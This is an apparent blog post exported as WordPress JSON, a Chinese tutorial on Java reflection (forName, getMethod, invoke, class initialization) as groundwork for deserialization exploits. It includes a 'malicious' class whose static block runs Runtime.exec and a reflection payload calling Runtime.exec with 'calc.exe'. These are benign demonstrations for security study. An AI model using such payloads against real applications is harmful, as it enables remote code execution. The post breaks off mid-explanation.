{"id":1188,"date":"2026-05-18T10:02:16","date_gmt":"2026-05-18T02:02:16","guid":{"rendered":"http:\/\/charlottezhiend.cn:8080\/?p=1188"},"modified":"2026-07-13T16:14:08","modified_gmt":"2026-07-13T08:14:08","slug":"111","status":"publish","type":"post","link":"http:\/\/charlottezhiend.cn:8080\/index.php\/2026\/05\/18\/111\/","title":{"rendered":"Java\u5b89\u5168"},"content":{"rendered":"\n

\u53cd\u5c04<\/h1>\n\n\n\n

Java\u5b89\u5168\u53ef\u4ee5\u4ece\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5f00\u59cb\u8bf4\u8d77\uff0c\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u53c8\u53ef\u4ee5\u4ece\u53cd\u5c04\u5f00\u59cb\u8bf4\u8d77\u3002\u53cd\u5c04\u662f\u5927\u591a\u6570\u8bed\u8a00\u91cc\u4e0d\u53ef\u5c11\u7684\u7ec4\u6210\u90e8\u5206\uff0c\u5bf9\u8c61\u53ef\u4ee5\u901a\u8fc7\u53cd\u5c04\u83b7\u53d6\u4ed6\u7684\u7c7b\uff0c\u7c7b\u53ef\u4ee5\u901a\u8fc7\u53cd\u5c04\u62ff\u5230\u6240\u6709\u65b9\u6cd5\uff08\u5305\u62ec\u79c1\u6709<\/strong>\uff09\uff0c\u62ff\u5230\u7684\u65b9\u6cd5\u53ef\u4ee5\u8c03\u7528\uff0c\u603b\u4e4b\u901a\u8fc7\u201c\u53cd\u5c04\u201d\uff0c\u6211\u4eec\u53ef\u4ee5\u5c06Java\u8fd9\u79cd\u9759\u6001\u8bed\u8a00\u9644\u52a0\u4e0a\u52a8\u6001\u7279\u6027\u3002<\/p>\n\n\n\n

\u6240\u8c13\u7684\u201c\u52a8\u6001\u7279\u6027\u201d\u5373\uff1a\u4e00\u6bb5\u4ee3\u7801\uff0c\u6539\u53d8\u5176\u4e2d\u7684\u53d8\u91cf\uff0c\u5c06\u4f1a\u5bfc\u81f4\u8fd9\u6bb5\u4ee3\u7801\u4ea7\u751f\u529f\u80fd\u6027\u7684\u53d8\u5316<\/strong><\/p>\n\n\n\n

PHP\u672c\u8eab\u62e5\u6709\u5f88\u591a\u52a8\u6001\u7279\u6027\uff0c\u6240\u4ee5\u53ef\u4ee5\u901a\u8fc7\u201c\u4e00\u53e5\u8bdd\u6728\u9a6c\u201d\u6765\u6267\u884c\u5404\u79cd\u529f\u80fd\uff1bJava\u867d\u4e0d\u50cfPHP\u90a3\u4e48\u7075\u6d3b\uff0c\u4f46\u5176\u63d0\u4f9b\u7684\u201c\u53cd\u5c04\u201d\u529f\u80fd\uff0c\u4e5f\u662f\u53ef\u4ee5\u63d0\u4f9b\u4e00\u4e9b\u52a8\u6001\u7279\u6027\u3002\u6bd4\u5982\uff0c\u8fd9\u6837\u4e00\u6bb5\u4ee3\u7801\uff0c\u5728\u4f60\u4e0d\u77e5\u9053\u4f20\u5165\u7684\u53c2\u6570\u503c\u7684\u65f6\u5019\uff0c\u4f60\u662f\u4e0d\u77e5\u9053\u4ed6\u7684\u4f5c\u7528\u662f\u4ec0\u4e48\u7684<\/p>\n\n\n\n

public void execute(String className, String methodName) throws Exception {\nClass clazz = Class.forName(className);\nclazz.getMethod(methodName).invoke(clazz.newInstance());\n}<\/code><\/pre>\n\n\n\n
\u4e0a\u9762\u7684\u4f8b\u5b50\u4e2d\uff0c\u6f14\u793a\u4e86\u51e0\u4e2a\u5728\u53cd\u5c04\u4e2d\u6781\u4e3a\u91cd\u8981\u7684\u65b9\u6cd5\uff1a<\/strong>
\u83b7\u53d6\u7c7b\u7684\u65b9\u6cd5\uff1aforName<\/strong>
\u83b7\u53d6\u51fd\u6570\u7684\u65b9\u6cd5\uff1agetMethod<\/strong>
\u6267\u884c\u51fd\u6570\u7684\u65b9\u6cd5\uff1ainvoke<\/strong>
\u57fa\u672c\u4e0a\uff0c\u8fd9\u51e0\u4e2a\u65b9\u6cd5\u5305\u63fd\u4e86Java\u5b89\u5168\u91cc\u5404\u79cd\u548c\u53cd\u5c04\u6709\u5173\u7684Payload<\/p>\n\n\n\n
forName\u4e0d\u662f\u83b7\u53d6\u7c7b\u7684\u552f\u4e00\u9014\u5f84\uff0c\u901a\u5e38\u6765\u8bf4\u6211\u4eec\u6709\u5982\u4e0b\u4e09\u79cd\u65b9\u5f0f\u83b7\u53d6\u4e00\u4e2a\u7c7b\u5bf9\u5e94\u7684java.lang.Class\u5bf9\u8c61
1.obj.getClass()\uff1a\u5982\u679c\u4e0a\u4e0b\u6587\u4e2d\u5b58\u5728\u67d0\u4e2a\u7c7b\u7684\u5b9e\u4f8bobj\uff0c\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u76f4\u63a5\u901a\u8fc7obj.getClass()\u6765\u83b7\u53d6\u5b83\u7684\u7c7b
2.Test.class\uff1a\u5982\u679c\u5df2\u7ecf\u52a0\u8f7d\u4e86\u67d0\u4e2a\u7c7b\uff0c\u53ea\u662f\u60f3\u83b7\u53d6\u5b83\u7684java.lang.Class\u5bf9\u8c61\uff0c\u90a3\u4e48\u5c31\u76f4\u63a5\u62ff\u5b83\u7684class\u5c5e\u6027\u5373\u53ef\u3002\u8fd9\u4e2a\u65b9\u6cd5\u5176\u5b9e\u4e0d\u5c5e\u4e8e\u53cd\u5c04
3.Class.forName\uff1a\u5982\u679c\u77e5\u9053\u67d0\u4e2a\u7c7b\u7684\u540d\u5b57\uff0c\u60f3\u8981\u83b7\u53d6\u5230\u8fd9\u4e2a\u7c7b\uff0c\u5c31\u53ef\u4ee5\u4f7f\u7528forName\u6765\u83b7\u53d6
4.\u8865\u5145ClassLoader.getSystemClassLoader().loadClass(“java.lang.Runtime”) \u7c7b\u4f3c\u7684\u5229\u7528\u7c7b\u52a0\u8f7d\u673a\u5236\uff0c\u4e5f\u53ef\u4ee5\u83b7\u53d6 Class \u5bf9\u8c61<\/p>\n\n\n\n
\u65b9\u5f0f<\/th>\u793a\u4f8b<\/th>\u662f\u5426\u9700\u8981\u5df2\u6709\u5bf9\u8c61<\/th>\u662f\u5426\u901a\u5e38\u89e6\u53d1\u7c7b\u521d\u59cb\u5316<\/th><\/tr><\/thead>
obj.getClass()<\/code><\/td>p.getClass()<\/code><\/td>\u9700\u8981<\/td>\u5bf9\u8c61\u90fd\u521b\u5efa\u4e86\uff0c\u7c7b\u80af\u5b9a\u5df2\u7ecf\u521d\u59cb\u5316\u8fc7<\/td><\/tr>
\u7c7b\u540d.class<\/code><\/td>Person.class<\/code><\/td>\u4e0d\u9700\u8981<\/td>\u901a\u5e38\u4e0d\u4f1a<\/td><\/tr>
Class.forName()<\/code><\/td>Class.forName(\"com.eagles.Person\")<\/code><\/td>\u4e0d\u9700\u8981<\/td>\u9ed8\u8ba4\u4f1a<\/td><\/tr>
ClassLoader.loadClass()<\/code><\/td>loader.loadClass(\"com.eagles.Person\")<\/code><\/td>\u4e0d\u9700\u8981<\/td>\u9ed8\u8ba4\u4e0d\u4f1a<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n
\n\n\n\n
\u8865\u5145\u77e5\u8bc6<\/strong><\/p>\n\n\n\n
java.lang.Class\u5bf9\u8c61\u662f\u4ec0\u4e48\uff1f
\u53ef\u4ee5\u5c06\u5176\u7406\u89e3\u4e3a\uff1aJava\u4e2d\u7528\u6765\u63cf\u8ff0\u201c\u7c7b\u672c\u8eab\u4fe1\u606f\u201d\u7684\u5bf9\u8c61\uff0c\u5e73\u65f6\u6211\u4eec\u521b\u5efa\u5bf9\u8c61\uff1a<\/p>\n\n\n\n
String s = \"hello\";<\/code><\/pre>\n\n\n\n
\u8fd9\u91cc\u7684s\u662fString\u7c7b\u7684\u4e00\u4e2a\u5bf9\u8c61\uff0c\u800cjava.lang.Class\u5bf9\u8c61\u63cf\u8ff0\u7684\u662fString\u8fd9\u4e2a\u7c7b\u672c\u8eab\uff1a<\/p>\n\n\n\n
String.class<\/code><\/pre>\n\n\n\n
\u666e\u901a\u5bf9\u8c61 vs Class\u5bf9\u8c61<\/p>\n\n\n\n
class User {\n    private String name;\n    public void sayHello() {\n        System.out.println(\"hello\");\n    }\n}<\/code><\/pre>\n\n\n\n
\u666e\u901a\u5bf9\u8c61\u662f\uff1a<\/p>\n\n\n\n
User user = new User(); \/\/user\u8868\u793a\u4e00\u4e2a\u5177\u4f53\u7528\u6237\u5bf9\u8c61<\/code><\/pre>\n\n\n\n
Class\u5bf9\u8c61\u662f\uff1a<\/p>\n\n\n\n
Class<?> clazz = User.class; \/\/clazz\u8868\u793a\u7684\u662fUser\u8fd9\u4e2a\u7c7b\u7684\u7ed3\u6784\u4fe1\u606f<\/code><\/pre>\n\n\n\n
\u901a\u8fc7clazz\u53ef\u4ee5\u62ff\u5230<\/p>\n\n\n\n
clazz.getName();          \/\/ \u83b7\u53d6\u7c7b\u540d\nclazz.getDeclaredFields(); \/\/ \u83b7\u53d6\u5c5e\u6027\nclazz.getDeclaredMethods(); \/\/ \u83b7\u53d6\u65b9\u6cd5\nclazz.getConstructors();  \/\/ \u83b7\u53d6\u6784\u9020\u65b9\u6cd5<\/code><\/pre>\n\n\n\n
\u603b\u7ed3\u6765\u770bclass\u662fJVM\u4e2d\u4fdd\u5b58\u7c7b\u7684\u8bf4\u660e\u4e66\uff0c\u8bf4\u660e\u4e66\u4e2d\u8bb0\u5f55\u4e86\u7c7b\u540d\u3001\u5c5e\u6027\u3001\u65b9\u6cd5\u3001\u6784\u9020\u65b9\u6cd5\u7b49\u4fe1\u606f<\/strong><\/p>\n\n\n\n
\n\n\n\n
\u5728\u5b89\u5168\u7814\u7a76\u4e2d\uff0c\u6211\u4eec\u4f7f\u7528\u53cd\u5c04\u7684\u4e00\u5927\u76ee\u7684\uff0c\u5c31\u662f\u7ed5\u8fc7\u67d0\u4e9b\u6c99\u76d2\u3002\u6bd4\u5982\uff0c\u4e0a\u4e0b\u6587\u4e2d\u53ea\u6709Integer\u7c7b\u578b\u7684\u6570\u5b57\uff0c\u6211\u4eec\u5982\u4f55\u83b7\u53d6\u5230\u53ef\u4ee5\u6267\u884c\u547d\u4ee4\u7684Runtime\u7c7b\u5462\uff1f\u4e5f\u8bb8\uff1a
getClass().forName(“java.lang.Runtime”)<\/p>\n\n\n\n
forName\u6709\u4e24\u4e2a\u51fd\u6570\u91cd\u8f7d\uff1a<\/p>\n\n\n\n
Class<?> forName(String name)\nClass<?> forName(String name, **boolean** initialize, ClassLoader loader)<\/code><\/pre>\n\n\n\n
\u7b2c\u4e00\u4e2a\u5c31\u662f\u6211\u4eec\u6700\u5e38\u89c1\u7684\u83b7\u53d6class\u7684\u65b9\u5f0f\uff0c\u5176\u5b9e\u53ef\u4ee5\u7406\u89e3\u4e3a\u7b2c\u4e8c\u79cd\u65b9\u5f0f\u7684\u4e00\u4e2a\u5c01\u88c5<\/p>\n\n\n\n
Class.forName(className)\n\/\/ \u7b49\u4e8e\nClass.forName(className, true, currentLoader)<\/code><\/pre>\n\n\n\n
\u9ed8\u8ba4\u7684\u60c5\u51b5\u4e0b\uff0cforName\u7684\u7b2c\u4e00\u4e2a\u53c2\u6570\u662f\u7c7b\u540d\uff1b\u7b2c\u4e8c\u4e2a\u53c2\u6570\u8868\u793a\u662f\u5426\u521d\u59cb\u5316\uff1b\u7b2c\u4e09\u4e2a\u53c2\u6570\u5c31\u662fClassLoader\u3002<\/p>\n\n\n\n
ClassLoader\u662f\u4ec0\u4e48\uff1f
\u5b83\u5c31\u662f\u4e00\u4e2a\u201c\u52a0\u8f7d\u5668\u201d\uff0c\u544a\u8bc9java\u865a\u62df\u673a\u5982\u4f55\u52a0\u8f7d\u8fd9\u4e2a\u7c7b\u3002Java\u9ed8\u8ba4\u7684ClassLoader\u5c31\u662f\u6839\u636e\u7c7b\u540d\u6765\u52a0\u8f7d\u7c7b\uff0c\u8fd9\u4e2a\u7c7b\u540d\u662f\u7c7b\u5b8c\u6574\u8def\u5f84\uff0c\u5982java.lang.Runtime\u3002<\/p>\n\n\n\n
\u7b2c\u4e8c\u4e2a\u53c2\u6570initialize\u5e38\u5e38\u88ab\u4eba\u8bef\u89e3<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u56fe\u4e2d\u4ee3\u7801\u8bf4\u5230\u201c\u6784\u9020\u51fd\u6570\uff0c\u521d\u59cb\u5316\u65f6\u6267\u884c\u201d\uff0c\u5176\u5b9e\u5728forName\u7684\u65f6\u5019\uff0c\u6784\u9020\u51fd\u6570\u5e76\u4e0d\u4f1a\u6267\u884c\uff0c\u5373\u4f7f\u6211\u4eec\u8bbe\u7f6einitialize=true\u3002
\u90a3\u4e48\u8fd9\u4e2a\u521d\u59cb\u5316\u7a76\u7adf\u6307\u4ec0\u4e48\u5462\uff1f
\u53ef\u4ee5\u5c06\u8fd9\u4e2a\u521d\u59cb\u5316\u7406\u89e3\u4e3a\u7c7b\u7684\u521d\u59cb\u5316\uff0c\u770b\u5230\u8fd9\u4e2a\u7c7b\uff0c\u5176\u4e09\u4e2a\u201c\u521d\u59cb\u5316\u201d\u65b9\u6cd5\u6709\u4ec0\u4e48\u533a\u522b\uff0c\u8c03\u7528\u987a\u5e8f\u662f\u4ec0\u4e48\uff0c\u5728\u5b89\u5168\u4e0a\u6709\u4ec0\u4e48\u4ef7\u503c\uff1f\uff1a<\/p>\n\n\n\n
public class TrainPrint {\n    {\n        System.out.printf(\"Empty block initial %s\\n\", this.getClass());\n    }\n    static {\n        System.out.printf(\"Static initial %s\\n\", TrainPrint.class);\n    }\n    public TrainPrint() {\n        System.out.printf(\"Initial %s\\n\", this.getClass());\n    }\n}<\/code><\/pre>\n\n\n\n
\u8fd0\u884c\u4e00\u4e0b\u5c31\u77e5\u9053\uff0c\u9996\u5148\u8c03\u7528\u7684\u662fstatic{}\uff0c\u5176\u6b21\u662f{}\uff0c\u6700\u540e\u662f\u6784\u9020\u51fd\u6570\u3002\u5176\u4e2dstatic{}\u5c31\u662f\u5728\u7c7b\u521d\u59cb\u5316\u7684\u65f6\u5019\u8c03\u7528\u7684\uff0c\u800c{}\u4e2d\u7684\u4ee3\u7801\u4f1a\u653e\u5728\u6784\u9020\u51fd\u6570super()\u540e\u9762\uff0c\u4f46\u5728\u5f53\u524d\u6784\u9020\u51fd\u6570\u5185\u5bb9\u7684\u524d\u9762\u3002\u6240\u4ee5\u8bf4\uff0cforName\u4e2d\u7684initialize=true\u5176\u5b9e\u5c31\u662f\u544a\u8bc9Java\u865a\u62df\u52a0\u662f\u5426\u6267\u884c\u201c\u7c7b\u521d\u59cb\u5316\u201d<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5230\u8fd9\u91cc\u5c31\u80fd\u591f\u6e05\u6670\u7684\u77e5\u9053\u524d\u9762\u7684\u4e00\u4e2a\u4e0d\u4e25\u8c28\u7684\u70b9\u662f\u4ec0\u4e48\uff0cforName\u4e2d\u7684initialzation\u6307\u7684\u662f\u7c7b\u7684\u521d\u59cb\u5316\u800c\u975e\u5bf9\u8c61\u521d\u59cb\u5316\u3002\u7c7b\u521d\u59cb\u5316\u7684\u65f6\u5019\u5e76\u4e0d\u4f1a\u6267\u884c\u6784\u9020\u51fd\u6570\uff0c\u53ea\u4f1a\u6267\u884cstatic\u4e2d\u7684\u5185\u5bb9<\/strong><\/p>\n\n\n\n
\u7c7b\u7684\u521d\u59cb\u5316\uff1a\u6307\u7684\u662f\u5f53\u7c7b\u88ab\u52a0\u8f7d\u5230JVM\u4e2d\u65f6\u6267\u884c\u7684\u8fc7\u7a0b\u3002\u5728\u8fd9\u4e2a\u8fc7\u7a0b\u4e2d\uff0cJVM\u4f1a\u6267\u884c\u9759\u6001\u521d\u59cb\u5316\u5757\u548c\u9759\u6001\u53d8\u91cf\u7684\u521d\u59cb\u5316\u3002\u8fd9\u4e9b\u9759\u6001\u6210\u5458\u53ea\u4f1a\u521d\u59cb\u5316\u4e00\u6b21\uff0c\u5728\u7c7b\u52a0\u8f7d\u8fc7\u7a0b\u4e2d\u5b8c\u6210\u3002\u9759\u6001\u521d\u59cb\u5316\u5757\u4e2d\u7684\u4ee3\u7801\u4f1a\u5728\u7c7b\u52a0\u8f7d\u65f6\u6267\u884c\uff0c\u8fd9\u610f\u5473\u7740\u5728\u7b2c\u4e00\u6b21\u521b\u5efa\u7c7b\u7684\u5bf9\u8c61\u4e4b\u524d\u6267\u884c\u3002<\/p>\n\n\n\n
\u5bf9\u8c61\u7684\u521d\u59cb\u5316\uff1a\u6307\u7684\u662f\u521b\u5efa\u7c7b\u7684\u5bf9\u8c61\u65f6\u6267\u884c\u7684\u8fc7\u7a0b\u3002\u5728\u5bf9\u8c61\u521d\u59cb\u5316\u7684\u8fc7\u7a0b\u4e2d\uff0cJVM\u4f1a\u4e3a\u5bf9\u8c61\u5206\u914d\u5185\u5b58\uff0c\u5e76\u6267\u884c\u975e\u9759\u6001\u521d\u59cb\u5316\u5757\u3001\u5b9e\u4f8b\u53d8\u91cf\u7684\u521d\u59cb\u5316\u4ee5\u53ca\u6784\u9020\u51fd\u6570\u3002\u5bf9\u8c61\u7684\u521d\u59cb\u5316\u4f1a\u5728\u7c7b\u7684\u9759\u6001\u521d\u59cb\u5316\u540e\u8fdb\u884c\u3002\u6bcf\u6b21\u521b\u5efa\u5bf9\u7ebf\u65f6\uff0c\u8fd9\u4e9b\u6b65\u9aa4\u90fd\u4f1a\u6267\u884c\u3002<\/p>\n\n\n\n
\n\n\n\n
\u8865\u5145\u77e5\u8bc6<\/strong><\/p>\n\n\n\n
Java\u521b\u5efa\u5bf9\u8c61\u7684\u5b8c\u6574\u8fc7\u7a0b<\/p>\n\n\n\n
Person p = new Person(“zhangsan”,20);<\/p>\n\n\n\n
1 \u56e0\u4e3anew\u7528\u5230\u4e86Person.class.\u6240\u4ee5\u4f1a\u5148\u627e\u5230Person.class\u6587\u4ef6\u5e76\u52a0\u8f7d\u5230\u5185\u5b58\u4e2d\u3002 
2 \u6267\u884c\u8be5\u7c7b\u4e2d\u7684static\u4ee3\u7801\u5757\uff0c\u5982\u679c\u6709\u7684\u8bdd\uff0c\u7ed9Person.class\u7c7b\u8fdb\u884c\u521d\u59cb\u5316\u3002 
3 \u5728\u5806\u5185\u5b58\u4e2d\u5f00\u8f9f\u7a7a\u95f4\uff0c\u5206\u914d\u5185\u5b58\u5730\u5740\u3002 
4 \u5728\u5806\u5185\u5b58\u4e2d\u5efa\u7acb\u5bf9\u8c61\u7684\u7279\u6709\u5c5e\u6027\u3002\u5e76\u8fdb\u884c\u9ed8\u8ba4\u521d\u59cb\u5316\u3002 
5 \u5bf9\u5c5e\u6027\u8fdb\u884c\u663e\u793a\u521d\u59cb\u5316\u3002 
6 \u5bf9\u5bf9\u8c61\u8fdb\u884c\u6784\u9020\u4ee3\u7801\u5757\u521d\u59cb\u5316\u3002 
7 \u5bf9\u5bf9\u8c61\u8fdb\u884c\u5bf9\u5e94\u7684\u6784\u9020\u51fd\u6570\u521d\u59cb\u5316\u3002 
8 \u5c06\u5185\u5b58\u5730\u5740\u4ed8\u7ed9\u6808\u5185\u5b58\u4e2d\u7684p\u53d8\u91cf\u3002<\/p>\n\n\n\n
\n\n\n\n
\u5047\u8bbe\u6211\u4eec\u6709\u5982\u4e0b\u51fd\u6570\uff0c\u5176\u4e2d\u51fd\u6570\u7684\u53c2\u6570name\u53ef\u63a7<\/p>\n\n\n\n
public void ref(String name) throws Exception {\n    Class.forName(name);\n}<\/code><\/pre>\n\n\n\n
\u6211\u4eec\u5c31\u53ef\u4ee5\u7f16\u5199\u4e00\u4e2a\u6076\u610f\u7c7b\uff0c\u5c06\u6076\u610f\u4ee3\u7801\u653e\u7f6e\u5728static{}\u4e2d\uff0c\u4ece\u800c\u6267\u884c\uff1a<\/p>\n\n\n\n
import java.lang.Runtime;\nimport java.lang.Process;\npublic class TouchFile {\n    static {\n        try {\n            Runtime rt = Runtime.getRuntime();\n            String[] commands = {\"touch\", \"\/tmp\/success\"};\n            Process pc = rt.exec(commands);\n            pc.waitFor();\n        } catch (Exception e) {\n            \/\/ do nothing\n        }\n    }\n}<\/code><\/pre>\n\n\n\n
\u5728\u6b63\u5e38\u60c5\u51b5\u4e0b\uff0c\u9664\u4e86\u7cfb\u7edf\u7c7b\uff0c\u5982\u679c\u6211\u4eec\u60f3\u62ff\u5230\u4e00\u4e2a\u7c7b\uff0c\u9700\u8981\u5148import\u624d\u80fd\u4f7f\u7528\u3002\u800c\u4f7f\u7528forName\u5c31\u4e0d\u9700\u8981\uff0c\u8fd9\u5bf9\u4e8e\u653b\u51fb\u6765\u8bf4\u5341\u5206\u6709\u5229\uff0c\u53ef\u4ee5\u52a0\u8f7d\u4efb\u610f\u7c7b\u3002\u5176\u539f\u56e0\u662fimport\u662f\u201c\u7f16\u8bd1\u671f\u8bed\u6cd5\u201d\uff0cClass.forName()\u662f\u201c\u8fd0\u884c\u65f6\u52a8\u6001\u52a0\u8f7d\u201d<\/strong><\/p>\n\n\n\n
\u53e6\u5916\u6211\u4eec\u7ecf\u5e38\u5728\u4e00\u4e9b\u6e90\u7801\u91cc\u770b\u5230\uff0c\u7c7b\u540d\u7684\u90e8\u5206\u5305\u542b$\u7b26\u53f7\uff0c\u6bd4\u5982fastjson\u5728checkAutoType\u65f6\u5019\u5c31\u4f1a\u5148\u5c06$\u66ff\u6362\u6210\uff1ahttps:\/\/github.com\/alibaba\/fastjson\/blob\/fcc9c2a\/src\/main\/java\/com\/alibaba\/fastjson\/parser\/ParserConfig.java#L1038<\/a> $\u7684\u4f5c\u7528\u662f\u67e5\u627e\u5185\u90e8\u7c7b<\/p>\n\n\n\n
Java\u7684\u666e\u901a\u7c7bC1\u4e2d\u652f\u6301\u7f16\u5199\u5185\u90e8\u7c7bC2\uff0c\u800c\u5728\u7f16\u8bd1\u7684\u65f6\u5019\uff0c\u4f1a\u751f\u6210\u4e24\u4e2a\u6587\u4ef6\uff1aC1.class\u548cC1$C2.class\uff0c\u6211\u4eec\u53ef\u4ee5\u628a\u4ed6\u4eec\u770b\u4f5c\u4e24\u4e2a\u65e0\u5173\u7684\u7c7b\uff0c\u901a\u8fc7Class.forName(“C1$C2”)\u5373\u53ef\u52a0\u8f7d\u8fd9\u4e2a\u5185\u90e8\u7c7b\u3002<\/p>\n\n\n\n
\u5047\u8bbe\u4e00\u4e2aJava\u6587\u4ef6\npublic class C1 {\n\n    public String name = \"outer\";\n\n    public class C2 {\n        public void hello() {\n            System.out.println(\"hello from C2\");\n        }\n    }\n}\n\u7f16\u8bd1\u540e\u4f1a\u751f\u6210\u4e24\u4e2a.class\u6587\u4ef6C1.class\uff08\u5916\u90e8\u7c7b\uff09\u548cC1$C2.class\uff08\u5185\u90e8\u7c7b\uff09<\/code><\/pre>\n\n\n\n
\u83b7\u5f97\u7c7b\u4ee5\u540e\uff0c\u6211\u4eec\u53ef\u4ee5\u7ee7\u7eed\u4f7f\u7528\u53cd\u5c04\u6765\u83b7\u53d6\u8fd9\u4e2a\u7c7b\u4e2d\u7684\u5c5e\u6027\u3001\u65b9\u6cd5\uff0c\u4e5f\u53ef\u4ee5\u5b9e\u4f8b\u5316\u8fd9\u4e2a\u7c7b\uff0c\u5e76\u8c03\u7528\u65b9\u6cd5\u3002
class.newInstance()\u7684\u4f5c\u7528\u5c31\u662f\u8c03\u7528\u8fd9\u4e2a\u7c7b\u7684\u65e0\u53c2\u6784\u9020\u51fd\u6570\uff0c\u4e0d\u8fc7\u6709\u7684\u65f6\u5019\u5728\u5199\u6f0f\u6d1e\u5229\u7528\u65b9\u6cd5\u7684\u65f6\u5019\uff0c\u4f1a\u53d1\u73b0\u4f7f\u7528newInstance\u603b\u662f\u4e0d\u6210\u529f\u8fd9\u65f6\u5019\u539f\u56e0\u53ef\u80fd\u662f\uff1a
1.\u4f7f\u7528\u7684\u7c7b\u6ca1\u6709\u65e0\u53c2\u6784\u9020
2.\u4f7f\u7528\u7684\u7c7b\u6784\u9020\u51fd\u6570\u662f\u79c1\u6709\u7684
\u6700\u5e38\u89c1\u7684\u60c5\u51b5\u5c31\u662fjava.lang.Runtime\uff0c\u8fd9\u4e2a\u7c7b\u5728\u6211\u4eec\u6784\u9020\u547d\u4ee4Payload\u7684\u65f6\u5019\u5f88\u5e38\u89c1\uff0c\u4f46\u4e0d\u80fd\u76f4\u63a5\u8fd9\u6837\u6765\u6267\u884c\u547d\u4ee4<\/p>\n\n\n\n
Class clazz = Class.forName(\"java.lang.Runtime\");\nclazz.getMethod(\"exec\", String.class).invoke(clazz.newInstance(), \"id\");<\/code><\/pre>\n\n\n\n
\u539f\u56e0\u662fRuntime\u7c7b\u7684\u6784\u9020\u65b9\u6cd5\u662f\u79c1\u6709\u7684<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4e3a\u4ec0\u4e48\u6709\u7684\u7c7b\u7684\u6784\u9020\u65b9\u6cd5\u662f\u79c1\u6709\u7684\uff0c\u96be\u9053\u4ed6\u4e0d\u60f3\u8ba9\u7528\u6237\u4f7f\u7528\u8fd9\u4e2a\u7c7b\u5417\uff1f\u8fd9\u5176\u5b9e\u8bbe\u8ba1\u5230\u5f88\u5e38\u89c1\u7684\u8bbe\u8ba1\u6a21\u5f0f\u201c\u5355\u4f8b\u6a21\u5f0f\u201d\u3002\u6bd4\u5982\u5bf9\u4e8eweb\u5e94\u7528\u6765\u8bf4\uff0c\u6570\u636e\u5e93\u8fde\u63a5\u53ea\u9700\u5efa\u7acb\u4e00\u6b21\uff0c\u800c\u4e0d\u662f\u6bcf\u6b21\u7528\u5230\u6570\u636e\u5e93\u7684\u65f6\u5019\u518d\u65b0\u5efa\u7acb\u4e00\u4e2a\u8fde\u63a5\uff0c\u6b64\u65f6\u4f5c\u4e3a\u5f00\u53d1\u8005\u4f60\u5c31\u53ef\u4ee5\u5c06\u6570\u636e\u5e93\u8fde\u63a5\u4f7f\u7528\u7684\u7c7b\u7684\u6784\u9020\u51fd\u6570\u8bbe\u7f6e\u4e3a\u79c1\u6709\uff0c\u7136\u540e\u7f16\u5199\u4e00\u4e2a\u9759\u6001\u65b9\u6cd5\u6765\u83b7\u53d6\u3002\u8fd9\u6837\uff0c\u53ea\u6709\u7c7b\u521d\u59cb\u5316\u7684\u65f6\u5019\u4f1a\u6267\u884c\u4e00\u6b21\u6784\u9020\u51fd\u6570\uff0c\u540e\u9762\u53ea\u80fd\u901a\u8fc7getInstance\u83b7\u53d6\u8fd9\u4e2a\u5bf9\u8c61\uff0c\u907f\u514d\u5efa\u7acb\u591a\u4e2a\u6570\u636e\u5e93\u8fde\u63a5\u3002<\/p>\n\n\n\n
public class TrainDB {\nprivate static TrainDB instance = new TrainDB();\npublic static TrainDB getInstance() {\nreturn instance;\n}\nprivate TrainDB() {\n\/\/ \u5efa\u7acb\u8fde\u63a5\u7684\u4ee3\u7801...\n}\n}<\/code><\/pre>\n\n\n\n
Runtime\u7c7b\u5c31\u662f\u5355\u4f8b\u6a21\u5f0f\uff0c\u6211\u4eec\u53ea\u80fd\u901a\u8fc7Runtime.getRuntime()\u6765\u83b7\u53d6\u5230Runtime\u5bf9\u8c61\u3002\u6211\u4eec\u5c06\u4e0a\u8ff0Payload\u8fdb\u884c\u4fee\u6539\u5373\u53ef\u6b63\u5e38\u6267\u884c\u547d\u4ee4\u4e86\uff1a<\/p>\n\n\n\n
Class clazz = Class.forName(\"java.lang.Runtime\");\nclazz.getMethod(\"exec\", \nString.class).invoke(clazz.getMethod(\"getRuntime\").invoke(clazz), \"calc.exe\");<\/code><\/pre>\n\n\n\n
\u8fd9\u91cc\u7528\u5230\u4e86getMethod\u548cinvoke\u65b9\u6cd5
getMethod\u7684\u4f5c\u7528\u662f\u901a\u8fc7\u53cd\u5c04\u83b7\u53d6\u4e00\u4e2a\u7c7b\u7684\u67d0\u4e2a\u7279\u5b9a\u7684\u516c\u6709\u65b9\u6cd5\u3002Java\u4e2d\u652f\u6301\u7c7b\u7684\u91cd\u8f7d\uff0c\u6211\u4eec\u4e0d\u80fd\u4ec5\u901a\u8fc7\u51fd\u6570\u540d\u6765\u786e\u5b9a\u4e00\u4e2a\u51fd\u6570\u3002\u6240\u4ee5\u5728\u8c03\u7528getMethod\u7684\u65f6\u5019\uff0c\u6211\u4eec\u9700\u8981\u4f20\u7ed9\u4ed6\u4f60\u8bb8\u54df\u554a\u83b7\u53d6\u7684\u51fd\u6570\u7684\u53c2\u6570\u5217\u8868\uff0c\u6bd4\u5982\u8fd9\u91cc\u7684Runtime.exec\u65b9\u6cd5\u67096\u4e2a\u91cd\u8f7d\u8fd9\u91cc\u4f7f\u7528\u7b2c\u4e00\u4e2a\uff0c\u53ea\u6709\u4e00\u4e2a\u53c2\u6570\u6700\u7b80\u5355\uff0c\u7c7b\u578b\u662fString\uff0c\u6240\u4ee5\u6211\u4eec\u4f7f\u7528getMethod(“exec”,String.class)\u6765\u83b7\u53d6Runtime.exec\u65b9\u6cd5<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
invoke\u7684\u4f5c\u7528\u662f\u6267\u884c\u65b9\u6cd5\u66f4\u5177\u4f53\u6765\u8bf4\u662f\u53cd\u5c04\u6267\u884cmethod\uff0c\u7b2c\u4e00\u4e2a\u53c2\u6570\u662f\uff1a
\u5982\u679c\u8fd9\u4e2a\u65b9\u6cd5\u662f\u4e00\u4e2a\u666e\u901a\u65b9\u6cd5\uff0c\u90a3\u4e48\u7b2c\u4e00\u4e2a\u53c2\u6570\u662f\u7c7b\u5bf9\u8c61
